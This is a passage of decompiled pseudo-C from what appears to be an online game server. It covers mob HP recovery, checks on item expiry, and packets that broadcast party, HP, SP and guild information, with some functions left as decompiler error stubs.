"ShineObjectClass::ShineMob::sm_DuringRecover"; v2 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v1 + 893) + 30; v16 = 0; if ( clockwatch.cw_CurrTick <= v3 ) { LABEL_13: v12 = "ShineObjectClass::ShineMob::sm_DuringRecover"; goto LABEL_14; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1152))(v1) != 3 ) { if ( *((_DWORD *)v1 + 2293) < 0 ) { v4 = *(_DWORD *)v1; v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1260))(v1); (*(void (__thiscall **)(void *, unsigned int))(v4 + 1456))(v1, v5 / 0xA); *((_DWORD *)v1 + 893) = clockwatch.cw_CurrTick; } else { (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 1456))(v1, *((_DWORD *)v1 + 2293)); *((_DWORD *)v1 + 893) = clockwatch.cw_CurrTick; } v6 = *(_DWORD *)v1; v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1264))(v1); (*(void (__thiscall **)(void *, unsigned int))(v6 + 1460))(v1, v7 / 0xA); v8 = *((_DWORD *)v1 + 1870) < *((_DWORD *)v1 + 895); *((_DWORD *)v1 + 894) = clockwatch.cw_CurrTick; if ( !v8 && *((_DWORD *)v1 + 1871) >= *((_DWORD *)v1 + 896) ) { v9 = *(_DWORD *)((char *)v1 + 98); *((_BYTE *)v1 + 9012) = 0; if ( v9 ) { *(_WORD *)&arg.npcclick.index[0] = *((_WORD *)v1 + 2); Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v9 + 68), ScriptInterrupt::ScriptInterruptManager::sim_MobHPFull, &arg); } *((_BYTE *)v1 + 9024) |= 1u; } v10 = *(_DWORD *)((char *)v1 + 78); v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v11, v10, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); v2 = -1; goto LABEL_13; } *((_BYTE *)v1 + 9012) = 0; v12 = "ShineObjectClass::ShineMob::sm_DuringRecover"; LABEL_14: --funcallanalizer.fca_stackpoint; v16 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); __security_check_cookie((unsigned int)&_ ^ v15); } //----- (0053D240) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck(void *this, int a2, __int16 a3) { int v3; // esi@1 int v4; // ebp@1 ItemInform_ActionItem *v5; // eax@2 int v6; // edx@2 ItemInform_ActionItem *v7; // ebx@2 ShineDateTime *v8; // eax@3 unsigned int v9; // esi@4 unsigned int v10; // ecx@8 unsigned int v11; // ecx@10 unsigned int v12; // ecx@13 __int16 v13; // [sp-14h] [bp-30h]@7 __int16 v14; // [sp-10h] [bp-2Ch]@7 int v15; // [sp-Ch] [bp-28h]@7 void *v16; // [sp+8h] [bp-14h]@1 v16 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; v4 = 0; if ( (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 8))(a2) > 0 ) { while ( 1 ) { v5 = (ItemInform_ActionItem *)(**(int (__thiscall ***)(_DWORD, _DWORD))v3)(v3, v4); v7 = v5; if ( !v5 || (v8 = ItemInform_ActionItem::sii_GetDeteleDateTime(v5)) == 0 || (v9 = v8->_bf0, (v6 = (unsigned __int8)v8->_bf0) == 0) || v6 > (unsigned int)(unsigned __int8)chargeditemcheck._bf0 ) goto LABEL_19; if ( v6 < (unsigned int)(unsigned __int8)chargeditemcheck._bf0 ) break; v10 = ((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F; v6 = (v9 >> 8) & 0x1F; if ( v6 <= v10 ) { if ( v6 < v10 ) goto LABEL_17; v11 = ((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F; v6 = (v9 >> 13) & 0x3F; if ( v6 <= v11 ) { if ( v6 < v11 ) { v15 = (int)v8; v14 = v4; v13 = a3; goto LABEL_18; } v12 = ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F; v6 = (v9 >> 19) & 0x3F; if ( v6 <= v12 ) { if ( v6 < v12 ) { v15 = (int)v8; v14 = v4; v13 = a3; goto LABEL_18; } if ( (v9 & 0xFE000000) < ((unsigned int)chargeditemcheck._bf0 & 0xFE000000) ) { LABEL_17: v15 = (int)v8; v14 = v4; v13 = a3; goto LABEL_18; } } } } LABEL_19: v3 = a2; ++v4; if ( v4 >= (*(int (__fastcall **)(int, int))(*(_DWORD *)a2 + 8))(a2, v6) ) goto LABEL_20; } v15 = (int)v8; v14 = v4; v13 = a3; LABEL_18: ShineObjectClass::ShinePlayer::sp_SmallItemDelete(v16, v7, v13, v14, v15); goto LABEL_19; } LABEL_20: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck"); } //----- (0053D3C0) -------------------------------------------------------- #error "53D3C0: undefined or illegal type '#593' (funcsize=121)" //----- (0053D590) -------------------------------------------------------- #error "53D590: undefined or illegal type '#593' (funcsize=414)" //----- (0053DB30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineServant::so_Routine(ShineObjectClass::ShineServant *this, List *lst, unsigned __int16 handle) { ShineObjectClass::ShineServant *v3; // esi@1 unsigned int v4; // eax@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineServant::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineServant::so_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1152))(v3) != 3 ) { if ( !(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 2480))(v3) ) { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 828))(v3); ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)&v3->gap0[4], 0, 9); goto LABEL_10; } v4 = *(_DWORD *)&v3->gap0[7700]; if ( v4 && clockwatch.cw_CurrTick > v4 ) { **(_BYTE **)&v3->gap0[3568] = 3; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 828))(v3); ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)&v3->gap0[4], 0, 10); goto LABEL_10; } } ShineObjectClass::ShineMob::so_Routine(v3); if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1152))(v3) != 3 && (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 1152))(v3) ) v3->ss_ExplosionManager = (MobExplosionElement::MobExplosionBase *)(**(int (__cdecl ***)(_DWORD, _DWORD, _DWORD))v3->ss_ExplosionManager)( v3, *(_DWORD *)&v3->gap0[9176], lst); LABEL_10: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineServant::so_Routine"); return 1; } // 53DB30: could not find valid save-restore pair for edi // 53DB30: could not find valid save-restore pair for esi // 53D590: using guessed type int __thiscall ShineObjectClass__ShineMob__so_Routine(_DWORD); //----- (0053DDF0) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0053DE60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineAxialFlag::so_Routine(ShineObjectClass::ShineAxialFlag *this, List *lst, unsigned __int16 handle) { ShineObjectClass::ShineAxialFlag *v3; // edi@1 List *v4; // ecx@1 unsigned int v5; // esi@1 int v6; // edi@3 int v7; // ecx@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineAxialFlag::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineAxialFlag::so_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (List *)v3->safm_Screen; v5 = 0; if ( v4 ) List::l_4AllInList( v4, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))Movie::FilmCase::fc_Routine); v6 = (int)&v3->safm_vecRoutions; while ( 1 ) { v7 = *(_DWORD *)(v6 + 4); if ( !v7 ) break; if ( v5 >= (*(_DWORD *)(v6 + 8) - v7) >> 2 ) break; if ( !v7 || (*(_DWORD *)(v6 + 8) - v7) >> 2 <= v5 ) std::vector>::_Xran((std::vector > *)v6); (*(void (**)(void))(**(_DWORD **)(v7 + 4 * v5++) + 4))(); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineAxialFlag::so_Routine"); return 1; } //----- (0053DF40) -------------------------------------------------------- #error "53DF40: undefined or illegal type '#593' (funcsize=917)" //----- (0053ECA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mobile_GetGuildRegnum(int this) { return *(_DWORD *)(this + 8580); } //----- (0053ECB0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_mobile_GetGuildRegnum(int this) { return *(_DWORD *)(this + 142044); } //----- (0053ECC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::PartyMemberInform::pmi_Clear(ShineObjectClass::ShinePlayer::PartyMemberInform *this) { this->pmi_LastSP = -1; this->pmi_LastHP = -1; this->pmi_ChrClass = 0; this->pmi_Level = 0; this->pmi_MaxSP = 0; this->pmi_MaxHP = 0; this->pmi_Coord.y = 0; this->pmi_Coord.x = 0; } //----- (0053ECF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendHPinform(void *this) { void *v1; // esi@1 int v2; // edi@1 int v3; // eax@1 char *v4; // edi@4 int v5; // eax@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendHPinform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendHPinform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1620))(v1); v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1252))(v1) - v2; if ( v3 < 0 ) v3 = 0; if ( *((_DWORD *)v1 + 16482) != v3 ) { *((_DWORD *)v1 + 16482) = v3; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9230; *(_DWORD *)(v4 + 2) = v3; *((_WORD *)v4 + 3) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2024))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v5 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 12))(v5, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_SendHPinform : Packet Too Long", 8); } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1252))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1620))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2748))(v1); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendHPinform"); } //----- (0053EE20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendSPinform(void *this) { void *v1; // esi@1 char *v2; // edi@2 int v3; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendSPinform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendSPinform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_DWORD *)v1 + 16483) != (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1256))(v1) ) { *((_DWORD *)v1 + 16483) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1256))(v1); v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9231; *(_DWORD *)(v2 + 2) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1256))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v3 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 12))(v3, v1, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_SendSPinform : Packet Too Long", 6); } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2748))(v1); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendSPinform"); } //----- (0053EF30) -------------------------------------------------------- #error "53EF30: undefined or illegal type '#734' (funcsize=126)" //----- (0053F0F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember(void *this) { void *v1; // esi@1 char *v2; // edi@7 int v3; // eax@7 int v4; // eax@7 int v5; // edx@7 int v6; // eax@7 int v7; // eax@8 char *v8; // edi@12 int v9; // eax@12 int v10; // eax@12 char v11; // al@12 char v12; // al@12 int v13; // edx@12 int v14; // eax@12 int v15; // eax@12 int v16; // ecx@13 int v17; // eax@13 int v18; // ecx@13 int v19; // eax@15 char *v20; // edi@16 int v21; // eax@16 int v22; // eax@16 CParty::PARTY_SLOT *v23; // ST04_4@16 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( ((*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2748))(v1) || (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1356))(v1) != -1) && *((_DWORD *)v1 + 34848) ) { if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1252))(v1) != *((_DWORD *)v1 + 34849) || (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1256))(v1) != *((_DWORD *)v1 + 34850) ) { v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14386; v2[2] = 1; v3 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1384))(v1); *(_DWORD *)(v2 + 3) = *(_DWORD *)v3; *(_DWORD *)(v2 + 7) = *(_DWORD *)(v3 + 4); *(_DWORD *)(v2 + 11) = *(_DWORD *)(v3 + 8); *(_DWORD *)(v2 + 15) = *(_DWORD *)(v3 + 12); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1252))(v1); *(_DWORD *)(v2 + 19) = v4; v5 = *(_DWORD *)v1; *((_DWORD *)v1 + 34849) = v4; v6 = (*(int (__thiscall **)(void *))(v5 + 1256))(v1); *(_DWORD *)(v2 + 23) = v6; *((_DWORD *)v1 + 34850) = v6; PartyManufacture::pm_Broadcast(&partymanufacture, (#734 *)v1, *((CParty::PARTY_SLOT **)v1 + 34848), &gpp, 27); RaidTask::rt_SendPlayerData((#734 *)v1); } v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1176))(v1); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 48))(v7) != *((_BYTE *)v1 + 139404) || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1) != *((_BYTE *)v1 + 139405) || (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1260))(v1) != *((_DWORD *)v1 + 34852) || (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1264))(v1) != *((_DWORD *)v1 + 34853) ) { v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14387; v8[2] = 1; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1384))(v1); *(_DWORD *)(v8 + 3) = *(_DWORD *)v9; *(_DWORD *)(v8 + 7) = *(_DWORD *)(v9 + 4); *(_DWORD *)(v8 + 11) = *(_DWORD *)(v9 + 8); *(_DWORD *)(v8 + 15) = *(_DWORD *)(v9 + 12); v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1176))(v1); v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v10 + 48))(v10); v8[19] = v11; *((_BYTE *)v1 + 139404) = v11; v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1); v8[20] = v12; v13 = *(_DWORD *)v1; *((_BYTE *)v1 + 139405) = v12; v14 = (*(int (__thiscall **)(void *))(v13 + 1260))(v1); *(_DWORD *)(v8 + 21) = v14; *((_DWORD *)v1 + 34852) = v14; v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1264))(v1); *(_DWORD *)(v8 + 25) = v15; *((_DWORD *)v1 + 34853) = v15; v8[29] = 1; PartyManufacture::pm_Broadcast(&partymanufacture, (#734 *)v1, *((CParty::PARTY_SLOT **)v1 + 34848), &gpp, 30); RaidTask::rt_SendPlayerDataDetail((#734 *)v1); } v16 = *(_DWORD *)((char *)v1 + 78); v17 = *(_DWORD *)v16; v18 = *(_DWORD *)(v16 + 4) - *((_DWORD *)v1 + 34855); if ( (v17 - *((_DWORD *)v1 + 34854)) * (v17 - *((_DWORD *)v1 + 34854)) + v18 * v18 >= 40000 ) { if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2748))(v1) ) { RaidTask::rt_SendPlayerLocation((#734 *)v1); v19 = *(_DWORD *)((char *)v1 + 78); *((_DWORD *)v1 + 34854) = *(_DWORD *)v19; *((_DWORD *)v1 + 34855) = *(_DWORD *)(v19 + 4); } else { v20 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14409; v20[2] = 1; v21 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1384))(v1); *(_DWORD *)(v20 + 3) = *(_DWORD *)v21; *(_DWORD *)(v20 + 7) = *(_DWORD *)(v21 + 4); *(_DWORD *)(v20 + 11) = *(_DWORD *)(v21 + 8); *(_DWORD *)(v20 + 15) = *(_DWORD *)(v21 + 12); v22 = *(_DWORD *)((char *)v1 + 78); *(_DWORD *)(v20 + 19) = *(_DWORD *)v22; *(_DWORD *)(v20 + 23) = *(_DWORD *)(v22 + 4); *((_DWORD *)v1 + 34854) = *(_DWORD *)v22; v23 = (CParty::PARTY_SLOT *)*((_DWORD *)v1 + 34848); *((_DWORD *)v1 + 34855) = *(_DWORD *)(v22 + 4); PartyManufacture::pm_Broadcast(&partymanufacture, (#734 *)v1, v23, &gpp, 27); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember"); } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendMyInform2PartyMember"); } } //----- (0053F430) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform(void *this) { void *v1; // esi@1 signed int v2; // edi@1 unsigned __int8 v3; // al@3 int v4; // ebx@7 int v5; // ebp@8 int v6; // eax@10 int v7; // edi@12 void *v8; // ebp@12 char *v9; // [sp-4h] [bp-24h]@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1356))(v1) == -1 || (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2748))(v1) ) goto LABEL_5; v3 = **((_BYTE **)v1 + 34848); if ( v3 > 1u ) { if ( v3 ) { v4 = 0; do { v5 = *((_DWORD *)v1 + 34848); if ( *(_DWORD *)(v4 + v5 + 4) == (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1) ) break; ++v2; v4 += 32; } while ( v2 < *(_BYTE *)v5 ); } v6 = *((_DWORD *)v1 + 34848); if ( v2 == *(_BYTE *)v6 ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 1356))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); LABEL_21: v9 = "ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform"; goto LABEL_22; } v7 = 32 * v2; v8 = *(void **)(v7 + v6 + 32); if ( v8 ) { if ( v1 == v8 ) { LABEL_17: if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v8 + 768))(v8) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 1356))(v1); (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); *(_DWORD *)(v7 + *((_DWORD *)v1 + 34848) + 32) = 0; } if ( (*(int (__thiscall **)(void *))(*(_DWORD *)v8 + 836))(v8) != *(_DWORD *)(v7 + *((_DWORD *)v1 + 34848) + 4) ) { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1356))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *(_DWORD *)(v7 + *((_DWORD *)v1 + 34848) + 32) = 0; } goto LABEL_21; } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1356))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *(_DWORD *)(v7 + *((_DWORD *)v1 + 34848) + 32) = v1; } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1356))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *(_DWORD *)(v7 + *((_DWORD *)v1 + 34848) + 32) = v1; } v8 = v1; goto LABEL_17; } (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1356))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v1 + 1392))(v1, 65535); LABEL_5: v9 = "ShineObjectClass::ShinePlayer::sp_SendPartyMemberInform"; LABEL_22: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); } //----- (0053F620) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_partymemberlogin(void *this, int member) { int v2; // esi@1 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_partymemberlogin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_partymemberlogin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_PartyInformInit(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_partymemberlogin"); } //----- (0053F6C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo(void *this) { void *v1; // esi@1 int v2; // edx@1 char *v3; // edi@1 int v4; // ST04_4@1 int v5; // eax@1 AxialListPacketBroadcast alchat; // [sp+Ch] [bp-18h]@1 int v7; // [sp+20h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v7 = 0; *(_DWORD *)(*((_DWORD *)v1 + 8040) + 164) = (*(int (__thiscall **)(void *))(v2 + 2072))(v1); *(_BYTE *)(*((_DWORD *)v1 + 8040) + 169) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2136))(v1); v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4206; *((_WORD *)v3 + 1) = *((_WORD *)v1 + 2); *((_DWORD *)v3 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 2072))(v1); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 8); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v7) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v7) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_BroadcastGuildInfo"); } //----- (0053F7E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo(void *this, int camp) { void *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 char result; // al@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 34887); if ( v3 && (v4 = *(_DWORD *)(v3 + 4)) != 0 ) { *(_BYTE *)camp = *(_BYTE *)v4; *(_DWORD *)(camp + 1) = -1; *(_DWORD *)(camp + 5) = -1; *(_WORD *)(camp + 9) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo"); result = 0; } return result; } //----- (0053F8B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo(void *this, int ride) { void *v2; // ebx@1 int v3; // eax@1 int v4; // ebx@1 int v5; // edx@1 int v6; // eax@2 PROTO_EQUIPMENT tempequip; // [sp+Ch] [bp-2Ch]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 8040); v4 = *((_DWORD *)v2 + 35786); v5 = *(_DWORD *)(v3 + 29); memcpy(&tempequip, (const void *)(v3 + 33), 0x28u); *(_WORD *)&tempequip.upgrade.gap0[0] = *(_WORD *)(v3 + 73); tempequip.upgrade._bf2 = *(_BYTE *)(v3 + 75); if ( v4 ) { v6 = ride; *(_WORD *)(ride + 47) = **(_WORD **)(v4 + 4); } else { v6 = ride; *(_WORD *)(ride + 47) = -1; } memcpy((void *)(v6 + 4), &tempequip, 0x28u); *(_WORD *)(v6 + 44) = *(_WORD *)&tempequip.upgrade.gap0[0]; *(_DWORD *)v6 = v5; *(_BYTE *)(v6 + 46) = tempequip.upgrade._bf2; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MakeRideBriefInfo"); return 1; } //----- (0053F960) 